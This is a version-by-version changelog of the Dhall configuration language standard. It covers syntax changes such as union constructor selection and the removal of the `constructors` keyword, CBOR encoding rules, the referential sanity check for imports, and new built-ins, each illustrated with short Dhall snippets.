let Role = < Wizard | Fighter | Rogue > let show : Role → Text show = λ(x : Role) → merge { Wizard = "Wizard", Fighter = "Fighter", Rogue = "Rogue" } x in show Role.Wizard
Note that the corresponding handlers don't need to take a function argument any longer; that is, handlers for empty alternatives no longer have to bind unused arguments of type
{}
and constructors for empty alternatives no longer have to take an input of{=}
. -
Expand character set for quoted labels
This expands quoted labels to permit all non-control ASCII characters except backticks, so e.g. this is now allowed:
{ `<>.\!@#$%^&*()*` = 42 }
-
Up until now it was not possible to use builtin names anywhere except when invoking builtins. This caused some common idioms to be uncomfortable to use, e.g. in order to use builtin names in record fields one needed to quote them:
let Prelude = https://prelude.dhall-lang.org/package.dhall in Prelude.`List`.map
This change allows using builtin names for anything but bound variables, so this is now allowed:
let Prelude = https://prelude.dhall-lang.org/package.dhall in Prelude.List.map
-
Fix typechecking of Sorts in records
This fixes a limitation of the record typechecking, for which
Sort
s were forbidden in record types.So the following didn't use to typecheck but now do:
{ a : Kind → Kind }
with typeSort
{ a : { b : Kind } }
with typeSort
{ a : { b : Kind → Kind } }
with typeSort
{ a = { b = Type } }
with type{ a : { b : Kind } }
Other changes:
-
New implementations
-
Fixes and improvements to the grammar
- Remove special rules for builtins in the grammar
- Clarify how to decode variables named
_
- Make grammar suitable for PEGs, take 2
- Imports have whitespace before the hash
- Improve grammar for auto-generated parsers
- Allow
merge x y z
- Shuffle comment parsing rules so it's easier to patch to remove ambiguity
- Add 'builtin' rule to specify the parsing of builtins
-
Fixes and improvements to the semantics
- Fix decoding of imports
- Specify equality of expressions using the binary encoding
({ a = (t: T) } ⫽ { a = (n: N) }): { a: N }
- Fixed typos and improved notation consistency in semantics
- Clarify when handler needs to be a function
- Fix minor typo
- Languages can decide how to marshal Dhall expressions
- Add other failures to the triggers of the
?
operator fallback - Separate binary encoding of variables vs built-ins
- Simplify record typechecking rules
-
Fixes and improvements to tests
- Add normalization unit tests
- Update normalization tests
- Make normalization prelude tests import only the package they need
- Fix encoding of
largeExpression
parser test case - Fix parsing test for large expression
- Fix the encoding of a test
- Some shuffling of parser tests
- Typecheck vs type inference tests
- Semantic hash tests
- Fix normalization/unit/EmptyAlternative test
- Improve documentation of tests/parser/failure/boundBuiltins.dhall
- Remove duplicate test
- Update largeExpression test to new Union syntax
- Test merging sort-level record types
-
Fixes and improvements to infrastructure and docs
Breaking changes:
-
Don't tag encoded expressions with their hash
Up until now, every new release of the standard required upgrading semantic integrity checks since the standard version is included in the input to the hash. The original intent was to fail fast so that users wouldn't attempt to decode a malformed expression if the binary format changed.
Now the standard is stable enough that the hash is quickly becoming the only thing that changes for encoded expressions, so this change removes the version from the input to semantic integrity check. This implies that semantic integrity checks should now be stable across future standard versions (modulo backwards-incompatible changes to the binary format, which may still happen, but much less often).
This should ease one of the biggest pain points when upgrading interpreters to support newer releases of the standard.
-
This is phase 3 of the plan to deprecate the
constructors
keyword, which you can find here:This phase removes the
constructors
keyword for the language so that new implementations of the Dhall configuration language have one less thing they need to implement.If you still haven't migrated yet, the migration is simple: in most cases you can delete the
constructors
keyword and your code will still work. The above link explains how to handle the few cases that might still break as a result of this change. -
The referential sanity check is a long-standing feature of the Haskell implementation that is now upstreamed into the standard. This check is both a security feature and also a "sanity" feature.
This check prevents a remote import from importing a local import (i.e. a local file or environment variable). The exception is that a remote import can still contain a relative import (which still resolves to a remote import when canonicalized).
Without this check a malicious remote import could exfiltrate the contents of sensitive local files or environment variables using the language's support for custom HTTP headers.
This check is also "sane" in the sense that remote imports are globally addressable, whereas local imports are not, and it doesn't make sense for something advertised as globally addressable to depend on imports that are not globally addressable.
-
CBOR-encode only some special values as half-floats
This is a breaking change to the binary representation of
Double
literals in order to support porting Dhall to a wider range of languages, many of which might not support half-widthDouble
representations.This change only now encodes all
Double
literals using at least 32 bits, with the exception of special values likeNaN
orInfinity
. -
Sort record and union fields before CBOR encoding them
Implementations must now sort record fields and union alternatives when serializing Dhall expressions. The motivation for this change is to simplify implementation of the language for interpreters so that they don't need to use order-preserving maps for recording the original source order of fields/alternatives.
Implementations can still internally use order-preserving maps if they want to support non-standard features (like code formatting or better error messages), but restricting the standard serialization format to sorted fields/alternatives ensure binary interoperability with other implementations.
Note that this is not a breaking change for semantic integrity checks. Fields/alternatives were already sorted for semantic integrity checks since the expression is β-normalized before being hashed (and β-normalization already sorts fields).
However, this is a potentially breaking change when serializing Dhall expressions in other contexts when the expressions have not yet been β-normalized (i.e. serializing and transmitting uninterpreted Dhall code over the wire).
New features:
-
Add Unicode support for quoted path characters
You can now use arbitrary Unicode characters in quoted path components, like this:
./families/"禺.dhall"
This reflects the fact that users might not have control over the names of files that they wish to import.
-
This adds a new
Text/show
built-in that converts aText
literal into equivalent Dhall source code:Text/show "ABC\ndef" = "\"ABC\\ndef\""
The motivation for this is to enable using Dhall to generate Dhall code and also to use Dhall to generate JSON (since the output of
Text/show
is also JSON-compatible).
Other changes:
-
Fixes and improvements to the grammar
-
Fixes and improvements to the semantics
-
Fixes and improvements to tests:
Breaking changes:
-
This change the
constructors
keyword to behave like the identity function. In other words, theconstructors
keyword returns the union type provided as its argument.The intermediate record of constructors is no longer necessary now that you can access constructors directly from the original union type. For example, this code is unaffected by this change:
let Either = < Left : Natural | Right : Bool > let either = constructors Either in [ either.Left 1, either.Right True ]
... because before this change the intermediate
either
value would be a record with two fields namedLeft
andRight
and after this change the intermediateeither
value would be the originalEither
type which you can access theLeft
andRight
constructors from directly. This code is now exactly equivalent to:let Either = < Left : Natural | Right : Bool > in [ Either.Left 1, Either.Right True ]
The rationale for this change is to improve performance for users who haven't yet removed all occurrences of the
constructors
keyword from their code. Removing the intermediate record of constructors improves type-checking and normalization speed while minimizing disruption.This is still a breaking change for two reasons:
-
The most likely way this will break your code is you use record of terms that contains a sub-record built by the
constructors
keyword, like this:{ foo = 1, bar = constructors < Left : Natural | Right : Bool > }
The above example was permitted before this change and is not permitted after this change, since the
bar
field transforms from a term into a type and records can't mix terms (likefoo
) and types (likebar
) -
A less likely way this will break your code is that you gave a type annotation to the output of the
constructors
keyword, like this:let Either = < Left : Natural | Right : Bool > let either : { Left : Natural → Either, Right : Bool → Either } = constructors Either in [ either.Left 1, either.Right True ]
The above example would succeed before this change, but fail after this change due to the type of
either
changing toType
.
This is phase 2 of the plan to deprecate the
constructors
keyword, which you can find here: -
-
Disallow labels that match builtins or keywords
Before this change the following expression was technically legal, albeit potentially confusing:
let if = 1 in if
After this change the above expression is no longer legal.
One motivation for this change is to ensure better error messages. Parsers can more convincingly explain parse failures to users when they don't have to consider the possibility that these keywords might have been variable names.
Another motivation is to forbid users from writing misleading code by naming things after keywords.
New features:
-
Standardize support for multi-line literals
This is a feature that was part of the Haskell bindings to Dhall that has been upstreamed into the standard.
The standard grammar specified how to parse multi-line string literals but not how to interpret them as
Text
literals. This change specifies how to desugar them into ordinary double-quoted string literals.For example, this multi-line string literal:
λ(x : Text) → '' ${x} baz bar foo ''
... is syntactic sugar for this expression:
λ(x : Text) → "${x} baz\n bar\n foo\n "
-
Standardize support for
as Text
This is a feature that was part of the Haskell bindings to Dhall that has been upstreamed into the standard.
This allows an import to be imported as raw
Text
rather than being interpreted as a Dhall expression. For example:$ FOO=1 dhall <<< 'env:FOO' 1 $ FOO=1 dhall <<< 'env:FOO as Text' "1"
This can be used to read in text from imports without having to modify them to pre-quote the contents. This comes in handy when modifying the original import is not an option.
-
This is a feature that was part of the Haskell bindings to Dhall that has been upstreamed into the standard.
This forbids import cycles, such as the following trivial cycle:
$ cat ./foo ./bar $ cat ./bar ./foo
More generally, no import may transitively depend on itself.
This is not treated as a breaking change since the code that this disallows was already broken. Conceptually, all this change does is improve the user experience so that the program fails fast upon detecting a cycle instead of getting stuck in an infinite import loop.
-
Before this change you could have a record of types, but you could not nest another record of types within that record. After this change, a record of types counts as a type, meaning that you can mix it with other types within a record.
For example, the following record was previously forbidden and is now legal:
{ user = { name : Text, age : Natural }, region = Text }
Other changes:
-
This changes the standard evolution process so that the
master
branch is always release-ready with respect to the version number. In other words, each new change updates the version number as necessary instead of waiting until cutting a release to update the version number. -
Fix mistake in union typing judgment
The standard inconsistently allowed unions that store types and kinds in some places, but not others. This fixes the inconsistency by permitting them to store types and kinds throughout all judgements.
-
Fixes and improvements to tests:
-
Fix typos in multiplication semantics
This corrects a mistake in the specification for multiplication
Breaking changes:
-
Specify CBOR encoding of Double and grammar rules for NaN and Infinity values
This changes Dhall to use double-precision floating point values for the
Double
type.The primary motivation for this is so that the name
Double
is an accurate representation of the type's precision.This is a breaking change because
Double
literals outside the permitted range of IEEE-754 floating point values are no longer permitted. For example, the following expression used to be valid before the change but is no longer valid afterwards:1e1000
-
This fixes a type-checking soundness bug that allowed non-terminating expressions.
This is a breaking change for two reasons:
-
Some non-terminating expressions used to type check and now they don't
See the Dhall expression for Hurkens' paradox which used to type-check and then fail to ever normalize:
Now the expression fails to type check
-
This changes a record of types to be a kind instead of a type
In other words, before this change the following Dhall expression would have this hierarchy of types:
{ x = Bool } : { x : Type } : Kind
... whereas after this change it now has this hierarchy of types:
{ x = Bool } : { x : Type } : Sort
-
-
The
#
/?
/:
operators now require non-empty trailing whitespaceThis is a breaking change because expressions such as the following are no longer valid:
[ 1 ]#[ 2 ]
let a:Natural = 1 in a
See:
New features:
-
Add union constructor selection
This feature improves the ergonomics of using union types so that you no longer need to use the
constructors
keyword to generate a record of constructors. Instead, you can use the.
operator to access constructors directly from the original union type.In other words, instead of writing this:
let Example = < Left : Natural | Right : Bool > in let example = constructors Example in [ example.Left 1, example.Right True ]
... you can now write this:
let Example = < Left : Natural | Right : Bool > in [ Example.Left 1, Example.Right True ]
This is phase 1 of the plan to deprecate the
constructors
keyword, which you can find here: -
Add support for
let
expressions with multiplelet
bindingsYou no longer need to nest
let
expressions in order to define multiple values. Instead, you can define multiplelet
bindings within a singlelet
expression.In other words, instead of writing this:
let x = 1 in let y = 2 in x + y
... you can now write this:
let x = 1 let y = 2 in x + y
See also:
-
Add support for quoted path components
You can now quote path components for both file paths and URLs.
For example:
/"foo"/bar/"baz qux"
https://example.com/foo/"bar?baz"?qux
Quoted URL path components are automatically percent-encoded when URLs are resolved. For example, the above URL is translated to:
https://example.com/foo/bar%3Fbaz?qux
Other changes:
-
Migrate Prelude into
dhall-lang
repositoryThe Prelude is now part of the standard and shares the same version as the standard version
-
The standard now includes acceptance tests that implementations can use to check whether they conform to the standard.
See also:
-
Remove grammar whitespace ambiguity
This clarifies the grammar to remove ambiguity in how to parse whitespace.
-
Allow for spaces before expression in interpolated string
This fixes a bug in the grammar that disallowed leading space in an interpolated expression
-
Small fixes to the prose:
Breaking changes:
-
New
Some
/None
constructors forOptional
valuesIncluding: Prelude: Use new
Some
andNone
constructorsYou can now use
Some
andNone
to buildOptional
values, andSome
does not require providing the type:-- The type annotations are optional, but provided for clarity Some 1 : Optional Natural None Natural : Optional Natural
This is a breaking change because
Some
andNone
are now reserved keywords. For example, the following code breaks as a result of this change:λ(Some : Type) → Some
This is also a breaking change because it removes
Optional/Some
andOptional/None
from the Prelude -
Including: Fix to allow type-level functions as record fields
This adds support for kind-level programming by adding a new type-checking constant named
Sort
aboveKind
in the hierarchy of types:Type : Kind : Sort
This is a breaking change because
Sort
is now a reserved keyword. For example, the following code breaks as a result of this change:λ(Sort : Type) → Sort
-
Update versioning policy for the standard and binary protocol
This changes how the standard versions the binary protocol. The protocol now shares the same version number as the rest of the standard.
That is not the breaking change, though, since it does not forbid older versions of the standard using the older protocol version string.
The actual breaking change is that compliant interpreters can no longer mix language features from different versions of the standard within a single run of the interpreter. For example, you would not be able to an interpret an expression containing a new language feature alongside an import protected by a semantic integrity check preceding that language feature. Either the new language feature of the semantic integrity check would fail depending on which standard version the interpreter was implementing. Previously newer language features were compatible with older semantic integrity checks.
-
Normalize record types and literals generated by operators
This ensures that records generated by operators have their fields sorted.
For example, before this change, the following expression:
{ foo = 1 } ∧ { bar = True }
... would β-normalize to:
{ foo = 1, bar = True }
... and now β-normalizes to:
{ bar = True, foo = 1 }
This is technically a breaking change in the sense that the standard no longer guarantees that record equality is order insensitive, although in practice records are usually only compared after they have been β-normalized (and therefore had their fields sorted).
New features:
-
Prelude: Add
{Integer,Natural}/toDouble
This ensures consistency with the rest of the Prelude by re-exporting two built-ins that were missing
-
Specify associativity for repeated elements
Including: Prelude: Parenthesize right-associative output
The grammar now specifies the associativity of repeated elements (such as operators).
This is not a breaking change because the behavior was not previously standardized. Also, all operators are associative, so the associativity does not affect their behavior.
Other changes:
Breaking changes:
-
Previously α-normalization would incorrectly normalize expressions with bound variables named
_
, such as this one:λ(x: Type) → _
... which would incorrectly α-normalize to:
λ(_ : Type) → _
... but now correctly α-normalizes to:
λ(_ : Type) → _@1
-
Disallow merging records of types and records of terms
Previously the type system permitted merging records of types with records of terms, like this:
{ x = Text } ∧ { y = 1 }
Now the type system forbids such an expression
-
Require whitespace when parsing the + operator
Previously the parser would accept an expression without whitespace after the
+
operator, like this:λ(x : Natural) → 1 +x
Now the parser requires whitespace after the
+
:λ(x : Natural) → 1 + x
-
Require non-empty whitespace after keywords
Previously the parser would accept keywords immediately followed by punctuation, such as:
if(True) then 1 else 2
Now the parser requires whitespace after keywords:
if (True) then 1 else 2
-
Sort fields/alternatives when β-normalizing records/unions
Previously β-normalization would preserve the original order of fields.
For example, a record like this used to be unaffected by β-normalization:
{ foo = 1, bar = 2 }
... but now β-normalization will sort the record fields, like this:
{ bar = 1, foo = 1 }
New features:
- Standardize semantics for serializing Dhall expressions
- Standardize semantics for hashing and caching
- Fix grammar for
missing
Other changes:
- Fix Integer/Natural mismatch in β-normalization section
- Fix typos and formatting in semantics document
Here we start versioning the language standard on its own.
Previously it was versioned together with the reference implementation, so see here for information on previous breaking changes to the language.